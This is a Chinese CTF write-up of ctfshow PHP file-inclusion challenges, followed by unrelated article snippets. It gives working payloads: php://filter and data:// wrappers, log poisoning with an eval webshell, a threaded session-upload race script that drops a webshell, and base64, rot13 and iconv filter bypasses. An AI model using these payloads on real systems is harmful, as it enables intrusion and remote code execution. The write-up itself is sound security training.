当前位置: 首页 > news >正文

ctfshow-文件包含

web78

<?phpif(isset($_GET['file'])){$file = $_GET['file'];include($file);
}else{highlight_file(__FILE__);
}

判断是否存在file参数 如果存在 将包含这个参数值 文件

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

filter伪协议

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

file=php://filter/convert.base64-encode/resource=flag.php

base64解码即可

data伪协议 简单理解就是执行自定义代码 

c=data://text/plain,<?php system('tac fla?.php');?>

web79

<?phpif(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

严格一点点 参数值中不能存在php字符

方法一

使用data伪协议 可以不使用正常的php标签 使用段标签即可 然后使用*代替php

file=data://text/plain,<?=system('tac fl*');?>

方法二

GET POST 联合使用

file=data://text/plain,<?=eval($_POST[1]);?>
POST 1=system("tac flag.php");

web80

<?phpif(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

要求更严格了 data协议不能使用了

那就是用日志方式

日志地址

/var/log/nginx/access.log

插入User-Agent值为

<?php eval($_POST[1]);?>

访问 日志地址 post参数1=system("ls"); 查看当前目录下文件有哪些 查看到有个fl0g.php文件

查看fl0g.php文件内容

web81

<?phpif(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

更严格一点不能使用冒号 但是貌似没影响 与web80同理

web82

参考b站视频以及session包含/反序列化

 参考

<?php
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

禁用了. 导致上一题的日志包含也不行了 只能使用session包含了 ,php里面 唯一我们能控制的无后缀的就是session,需要用到到php_session_upload_progress参数,这个参数是为了获得这个文件上传进度的实时参数

这道题没开启session 如何创建session文件呢? 我们如果只要上传一个cookie 键是sessid 值任意 这样提交后 php会在默认session目录中创建一个 sess_aaa的文件 路径基本上为/tmp/sess_aaa  既然有个session相关文件了 服务器也就自动初始化session了

 这么文件名字我们是可以控制的 可以控制aaa  所以这道题如果只能包含无后缀的 那就可以包含这个session的临时文件

现在文件名字 我们控制了 如何控制文件内容呢

控制文件内容我们需要PHP_SESSION_UPLOAD_PROGRESS 这个参数是获取实时文件上传进度的  我们控制这个参数 来写我们指定内容 通过指定该参数的post值 会拼接默认名字写进去(这句话现在不理解 一会回头看一下) 刚刚群主举个例子 如果PHP_SESSION_UPLOAD_PROGRESS值为123 则知道 /tmp/sess_aaa的内容为123

现在前提都准备好了 但是session临时文件在文件全部上传成功后就会被删除 这时需要session竞争  在文件还没被删除的时候 访问到这个文件  简单理解就是 大量的上传同一个文件 持续访问某个session文件  该脚本 就是开启5个多线程  持续的发送 为何要开启多线程呢?正常情况下开启一个线程也是可以的 但是一般都竞争不出来 都是开启进程让提交的速度加大 访问的速度加大

再简单理解这个线程就是 每秒提交1次文件 和访问1次 因为提交的速度特别快 还没等访问呢 文件就被删除了 如果每秒提交1000次文件 和访问1000次 这样就大大加大访问成功的概率这个不代表

访问第500次的时候是访问第500次提交的文件 而是可能访问到的是第400次提交文件时生成的文件

这里我开五个线程很快就能出结果  我试了一下开20个进行 一瞬间就出结果了

import requests
import threading
import io
a=0
url = "http://6db55daa-3871-4fd6-b564-8e6289806146.challenge.ctf.show/"
sessID = 'tzy'
data = {"1": "file_put_contents('/var/www/html/8.php', '<?php eval($_POST[2]);?>');"  # read()中需要post的内容
}
def write(session):global afileBytes = io.BytesIO(b'a' * 50)#定义一个大小为50kb的文件赋值给fileBytes变量中# 解释一下使用while循环的原因 当前函数现在开启了5次线程 也就是说 同时会向服务器提交五次write函数 如果不设置循环 也就相当于同意时间只提交五次函数 就退出程序了# 如果在函数内部定义while循环 这样就能做到 持续进行 每次提交五次函数 换位思考也就是说 提交五次函数 每一次都是一个循环 这五个都是循环 也就能做到 持续性多线程# 这种方法 和在线程外部加入一个while循环一个意思while True:if a:break#使用传进来的session对象执行post提交请求res = session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'# 改参数的值就是/tmp/sess_tzy文件的内容},cookies={"PHPSESSID": sessID},files={'file': ('tzy.png', fileBytes)})#print(res.request.headers)#print(res.request.body)
def read(session):global awhile True:res1 = session.post(url + '?file=/tmp/sess_' + sessID, data=data,cookies={"PHPSESSID": sessID})res2 = session.get(url + '8.php')if res2.status_code == 200:print("+++done+++")a=1breakelse:print(res2.status_code)
if __name__ == '__main__':# 开启多线程 直接解释代码 python会同时提交五次write函数 和五次read函数event = threading.Event()  # 开启多线程的对象# 这个session对象 是requests.session()类的实例化# request.session 包含 request.request的功能 比如get() post()# 而session这个类还可以自动处理cookie 会自动地处理与会话相关的内容,比如 cookies 的保存和发送# Session 对象的优势在于它会在整个会话中自动管理 cookies,并在多个请求之间共享 cookies 和会话状态。# 这意味着你只需要在第一个请求中设置 cookies,后续的请求会自动使用相同的 cookieswith requests.session() as session:for i in range(5):  # 开5个线程 执行write函数传入session对象最为参数threading.Thread(target=write, args=(session,)).start()for i in range(5):threading.Thread(target=read, args=(session,)).start()event.set()  # 唤醒线程

获得flag

web83

<?php
session_unset();
session_destroy();if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

在程序前销毁session的全部变量 以及全部数据  没影响 我们直接加入cookie服务器识别出来存在session id后自动就初始化session了  同web82一样

web84

<?php
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);system("rm -rf /tmp/*");include($file);
}else{highlight_file(__FILE__);
}

好狗直接把临时目录的文件全部删除了 但是发现不影响呀

本身 session.upload_progress.cleanup = on 会清空对应 session 文件中的内容 

再加上一条删除文件 影响不大 加快请求速度呗 不加快5多线程也行    反正记住就行 无论他删不删对我们都没影响 因为啥就算这个请求执行到删除了 然后执行包含 如果在执行include前0.001s又生成了一个临时文件 她依旧是可以包含的 最坏的情况 无非也就是加快线程呗 加快速度

web85

<?php
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);if(file_exists($file)){$content = file_get_contents($file);if(strpos($content, "<")>0){die("error");}include($file);}}else{highlight_file(__FILE__);
}

说实话这道题 我挺蒙 哪怕多线程为什么能绕过die呢 每个线程都能匹配到die呀 原来这道题开多线程和上一题开多线程 能成功的原因 不一样 这一道题开5不行 开20可以 是因为 在高并发/高线程的情况下 有个特性就是竞争 而竞争会导致很多的不确定性 比如这道题在执行die的时候 因为多线程抢占资源的原因 可能会导致die还没执行成功呢 include就已经被执行成功了 

web86

<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

定义了文件包含指定目录 也就是说想要包含的文件必须在指定目录下 否则包含不成功

难道还是要利用高线程导致竞争从而还没定义目录位置 就已经执行include了吗? 查看一下其他师傅的wp

结果是是这个原因 include包含的文件如果存在路径 他会按照指定路径查找文件 如果只存在文件名不存在路径 include首先会去定义的位置进行寻找文件 没有则在当前文件所在的目录和当前工作目录下寻找 所以不影响我们 线程5应该就可以了 不需要高并发导致的不确定行为 而是普通的和服务器删除速度来竞争 不是高并发的竞争

的确我说对了

注意:早session包含中

这里说一下 提交请求后的请求体是 不是想象的那种post 键值对的形式 而是表单的形式PHP_SESSION_UPLOAD_PROGRESS 也在表单中 这块的简单知识点 有时间得看看

<!DOCTYPE html>
<html>
<body>
<form action="http://26bfc8ed-f28a-46ef-94a6-bbff5bb92e6b.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>

web87

<?php
if(isset($_GET['file'])){$file = $_GET['file'];$content = $_POST['content'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);}else{highlight_file(__FILE__);
}

参考p神文章

file_put_content和死亡·杂糅代码之缘

方法一使用 过滤器中的base64 解码绕过 将死亡函数进行解码 变为非法字符

file=php://filter/write=convert.base64-decode/resource=hello.php

在base64解码中 每四个字符为一组解码为三个字符 并且只有字母为解码的字符 phpdie为6个 需要在$content前任意添加两个字符 

content=abPD8gcGhwaW5mbygpOz8+

将file参数的值进行url全编码使用bp

从浏览器到服务器 他会自动进行一次解码 为什么要两次编码呢?两点 第一点本身写文件的时候他会解码一次 第二点在过滤的时候 如果不进行二次url编码 他会把关键词换成问好 这两点同时满足 这样两次url编码就可以了 

验证成功 同理 换content的值即可得到flag

方法二使用 过滤器中的rot13 编码绕过 解码绕过 将死亡函数进行解码 变为非法字符

和base64同理 

现将payload进行rot13编码

file=php://filter/write=string.rot13/resource=hello2.php

concent=<?cuc cucvasb();?>

死亡代码<?php die('大佬别秀了');?>已经被解码为<?cuc qvr('大佬别秀了');?>

这里有个问题如果服务器开启了可以使用短标签那么服务器就会解析该短标签了 我们的payload就不会被执行了  就不能使用这种方法了 因为该解码方式不会解码<?等符号 并且会原封不动的写入到文件中

web88

<?php
if(isset($_GET['file'])){$file = $_GET['file'];if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){die("error");}include($file);
}else{highlight_file(__FILE__);
}

使用data伪协议

因为过滤了 php那就使用base编码 有的时候如果base编码后出现= 或者 +号 也会被过滤掉 在后方加入1来混淆

比如

<?php echo `ls`?>和<?php system('ls'); ?> 一个意思

?file=data://text/plain;base64,PD9waHAgZWNobyBgbHNgPz4xMTEx

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwqJyk/PjEx

web116

开局一个视频 无法查看源码 下载视频 使用010打开 搜索各种文件的标头标识 发现 存在PNG文件

PNG图片以IEND结尾 复制粘贴到新建十六进制文件 另存1.PNG

打开图片后

源码文件的意思就是读取一个文件 输出到浏览器中 

在浏览器中虽然不能右键查看源码 但是可以使用view-source:

那就读取 flag.php(只能一个一个尝试)

web117

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){die('too young too simple sometimes naive!');}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

不能使用base64和rot13解码绕过了 把一句话木马从UCS-2LE编码转换为UCS-2BE编码。

其实关键的不是两种编码方式(这两个编码方式可以换位置) 这两种编码方式都是一样的 不会改变任何字符 关键的是iconv这个函数 他可以进行两个字符反转一次(切记 需反转的字符必须是2的整数倍 否则报错,如果报错可以通过修改密码 增加字符 或者在后面再加上任意一个字符 反正服务器也不解析)

<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[aa]);?>');
echo "payload:".$result."\n";
?>
#?<hp pe@av(l_$OPTSa[]a;)>?

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hello.php

contents=?<hp pe@av(l_$OPTSa[]a;)>?

相关文章:

ctfshow-文件包含

web78 <?phpif(isset($_GET[file])){$file $_GET[file];include($file); }else{highlight_file(__FILE__); } 判断是否存在file参数 如果存在 将包含这个参数值 文件 php://filter可以获取指定文件源码。当它与包含函数结合时&#xff0c;php://filter流会被当作php文件执…...

Qt事件处理机制

用qt实现简单闹钟 widget.h #ifndef WIDGET_H #define WIDGET_H #include<QPushButton> #include<QTextEdit> #include<QLabel> #include <QWidget> #include<QMouseEvent> #include<QPoint> #include<QTime> #include<QTimer&…...

vue axios 如何读取项目下的json文件

在 Vue 项目中&#xff0c;使用 axios 读取本地的 JSON 文件可以通过将 JSON 文件放置在 public 目录中&#xff0c;然后通过 axios 发起请求读取。 步骤&#xff1a; 将 JSON 文件放置在 public 目录下&#xff1a; Vue 项目中的 public 目录是静态资源目录&#xff0c;项目编…...

燃气涡轮发动机性能仿真程序GSP12.0.4.2使用经验(二):使用GSP建立PG9351FA燃气轮机性能仿真模型

目录 一、PG9351FA燃气轮机简介及热力循环参数二、基于GSP的性能仿真模型设置环境参数设置进气道参数设置压气机参数设置燃烧室参数设置透平&#xff08;涡轮&#xff09;参数设置转子负载参数燃油流量外部控制 三、仿真结果四、其它 一、PG9351FA燃气轮机简介及热力循环参数 …...

迟滞比较器/施密特触发器

功能 从下面原理图像看来&#xff0c;只有在达到上下阈值才会出现输出电平的转换&#xff0c;这样防止信号的杂波跳变。而且每次的阈值是随着输出而变化的&#xff0c;当输出高时&#xff0c;阈值如下图中&#xff0c;V_PV_N V_R*( RF/(R1RF) )VH*( R1/(R1RF) );当输出低时&a…...

LeetCode_sql_day22(1112.每位学生的最高成绩)

描述&#xff1a;1112.每位学生的最高成绩 表&#xff1a;Enrollments ------------------------ | Column Name | Type | ------------------------ | student_id | int | | course_id | int | | grade | int | ------------------------ (st…...

OFDM信号PARP的CCDF图

文章目录 引言代码代码疑难解答参考文献 引言 本书主要参考了文献1&#xff0c;但实际上该书中符号和表述的错误非常多&#xff08;只能说棒子是这样的&#xff09;&#xff1b;同时因为发表时间的关系&#xff0c;很多MATLAB代码进行了更新&#xff0c;原书提供的代码已经无法…...

LeetCode之高频SQL50题

查询 1757. 可回收且低脂的产品 584. 寻找用户推荐人 595. 大的国家 1148. 文章浏览 I 1683. 无效的推文 连接 1378. 使用唯一标识码替换员工ID 1068. 产品销售分析 I 1581. 进店却未进行过交易的顾客 197. 上升的温度 1661. 每台机器的进程平均运行时间 577. 员工…...

echarts多组堆叠柱状图

一、效果图 二、代码实现 1、创建容器 <el-card class"box-card"><div slot"header" class"clearfix"><span>课堂学习</span></div><div id"class-learning" style"height: 360px">&l…...

打造安心宠物乐园:EasyCVR平台赋能猫咖/宠物店的智能视频监控解决方案

随着宠物经济的蓬勃发展&#xff0c;宠物店与猫咖等场所对顾客体验、宠物安全及健康管理的需求日益提升。然而&#xff0c;如何确保这些场所的安全与秩序&#xff0c;同时提升顾客体验&#xff0c;成为了经营者们关注的焦点。引入高效、智能的视频监控方案&#xff0c;不仅能够…...

springboot请求传参常用模板

注释很详细&#xff0c;直接上代码 项目结构 源码 HelloController package com.amoorzheyu.controller;import com.amoorzheyu.pojo.User; import org.springframework.format.annotation.DateTimeFormat; import org.springframework.web.bind.annotation.*;import java.ti…...

HTML/CSS/JS学习笔记 Day4(HTML--C3 表格)

跟着该视频学习&#xff0c;记录笔记&#xff1a;【黑马程序员pink老师前端入门教程&#xff0c;零基础必看的h5(html5)css3移动端前端视频教程】https://www.bilibili.com/video/BV14J4114768?p12&vd_source04ee94ad3f2168d7d5252c857a2bf358 Day4 内容梳理&#xff1a;…...

WPF中创建横向的ListView

在WPF中&#xff0c;要创建横向的ListView&#xff0c;您可以通过设置ItemsControl的ItemsPanel来改变其项的排列方向。以下是一个简单的示例&#xff0c;展示了如何将ListView的项横向排列&#xff1a; 在这个例子中&#xff0c;WrapPanel用于横向排列其子元素&#xff0c;而…...

A表和B表公共元素产生链表C

设A和B是两个单链表&#xff08;带头节点&#xff09;&#xff0c;其中元素递增有序。设计一个算法从A到B的公共元素产的C表&#xff08;交集&#xff09;&#xff0c;要求不破坏A&#xff0c;B的节点。 思想&#xff1a;依次比较A&#xff0c;B表中的元素&#xff0c;相同时&…...

Rust运算符

【图书介绍】《Rust编程与项目实战》-CSDN博客 《Rust编程与项目实战》(朱文伟&#xff0c;李建英)【摘要 书评 试读】- 京东图书 (jd.com) https://blog.csdn.net/brucexia/category_12779443.html 前面已经学习了变量和常量&#xff0c;本节开始对它们进行操作&#xff0c…...

Oracle rman 没有0级时1级备份和0级大小一样,可以用来做恢复 resetlogs后也可以

文档说了 full backup 不能 用于后续的level 1&#xff0c;没说level 1没有level 0 是不是level 1就是level 0&#xff1f; 1级备份变0级的原因 及 Enabling Change Tracking生效没有-CSDN博客 这个文档说明1级备份时没有找到0级就是0级备份&#xff0c;可以用来完整恢复的。…...

idea中配置Translation插件完成翻译功能

文章目录 idea下载插件配置有道云阿里云百度翻译开放平台 idea下载插件 idea中安装Translation插件 使用方法&#xff1a;右下角选择翻译引擎&#xff0c;鼠标选中想翻译的部分&#xff0c;右键翻译即可 之前一直用的微软的翻译&#xff0c;不需要配置&#xff0c;但是最近微软…...

如何看待:低代码开发平台的兴起无需经验?

在当今快速发展的技术时代&#xff0c;软件开发的需求日益增长&#xff0c;而专业开发人员的数量却远远跟不上需求的步伐。为了解决这一矛盾&#xff0c;低代码开发平台应运而生&#xff0c;它通过提供可视化的开发环境和拖拽式的编程方式&#xff0c;使得没有编程经验的用户也…...

OpenCV-轮廓检测

文章目录 一、简介1. 意义2.具体步骤 二、代码实现三、总结 一、简介 1. 意义 在OpenCV中&#xff0c;轮廓检测是图像处理中一个非常重要的环节&#xff0c;它允许我们识别图像中的形状。这个过程通常涉及几个步骤&#xff1a;读取图像、转换为灰度图、应用阈值处理&#xff…...

vue页面使用自定义字体

一、准备好字体文件 一般字体问价格式为 .tff&#xff0c;可以去包图网等等网站去下载&#xff0c;好看的太多了&#xff01;&#xff01;&#xff01; 下载下来就是单个的 .tff文件&#xff0c;下载下来后可以进行重命名&#xff0c;但是不要改变他的后缀名&#xff0c;我把他…...

挑战杯推荐项目

“人工智能”创意赛 - 智能艺术创作助手&#xff1a;借助大模型技术&#xff0c;开发能根据用户输入的主题、风格等要求&#xff0c;生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用&#xff0c;帮助艺术家和创意爱好者激发创意、提高创作效率。 ​ - 个性化梦境…...

地震勘探——干扰波识别、井中地震时距曲线特点

目录 干扰波识别反射波地震勘探的干扰波 井中地震时距曲线特点 干扰波识别 有效波&#xff1a;可以用来解决所提出的地质任务的波&#xff1b;干扰波&#xff1a;所有妨碍辨认、追踪有效波的其他波。 地震勘探中&#xff0c;有效波和干扰波是相对的。例如&#xff0c;在反射波…...

Qt/C++开发监控GB28181系统/取流协议/同时支持udp/tcp被动/tcp主动

一、前言说明 在2011版本的gb28181协议中&#xff0c;拉取视频流只要求udp方式&#xff0c;从2016开始要求新增支持tcp被动和tcp主动两种方式&#xff0c;udp理论上会丢包的&#xff0c;所以实际使用过程可能会出现画面花屏的情况&#xff0c;而tcp肯定不丢包&#xff0c;起码…...

【人工智能】神经网络的优化器optimizer(二):Adagrad自适应学习率优化器

一.自适应梯度算法Adagrad概述 Adagrad&#xff08;Adaptive Gradient Algorithm&#xff09;是一种自适应学习率的优化算法&#xff0c;由Duchi等人在2011年提出。其核心思想是针对不同参数自动调整学习率&#xff0c;适合处理稀疏数据和不同参数梯度差异较大的场景。Adagrad通…...

SCAU期末笔记 - 数据分析与数据挖掘题库解析

这门怎么题库答案不全啊日 来简单学一下子来 一、选择题&#xff08;可多选&#xff09; 将原始数据进行集成、变换、维度规约、数值规约是在以下哪个步骤的任务?(C) A. 频繁模式挖掘 B.分类和预测 C.数据预处理 D.数据流挖掘 A. 频繁模式挖掘&#xff1a;专注于发现数据中…...

抖音增长新引擎:品融电商,一站式全案代运营领跑者

抖音增长新引擎&#xff1a;品融电商&#xff0c;一站式全案代运营领跑者 在抖音这个日活超7亿的流量汪洋中&#xff0c;品牌如何破浪前行&#xff1f;自建团队成本高、效果难控&#xff1b;碎片化运营又难成合力——这正是许多企业面临的增长困局。品融电商以「抖音全案代运营…...

五年级数学知识边界总结思考-下册

目录 一、背景二、过程1.观察物体小学五年级下册“观察物体”知识点详解&#xff1a;由来、作用与意义**一、知识点核心内容****二、知识点的由来&#xff1a;从生活实践到数学抽象****三、知识的作用&#xff1a;解决实际问题的工具****四、学习的意义&#xff1a;培养核心素养…...

python爬虫:Newspaper3k 的详细使用(好用的新闻网站文章抓取和解析的Python库)

更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、Newspaper3k 概述1.1 Newspaper3k 介绍1.2 主要功能1.3 典型应用场景1.4 安装二、基本用法2.2 提取单篇文章的内容2.2 处理多篇文档三、高级选项3.1 自定义配置3.2 分析文章情感四、实战案例4.1 构建新闻摘要聚合器…...

MySQL中【正则表达式】用法

MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现&#xff08;两者等价&#xff09;&#xff0c;用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例&#xff1a; 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...

MySQL JOIN 表过多的优化思路

当 MySQL 查询涉及大量表 JOIN 时&#xff0c;性能会显著下降。以下是优化思路和简易实现方法&#xff1a; 一、核心优化思路 减少 JOIN 数量 数据冗余&#xff1a;添加必要的冗余字段&#xff08;如订单表直接存储用户名&#xff09;合并表&#xff1a;将频繁关联的小表合并成…...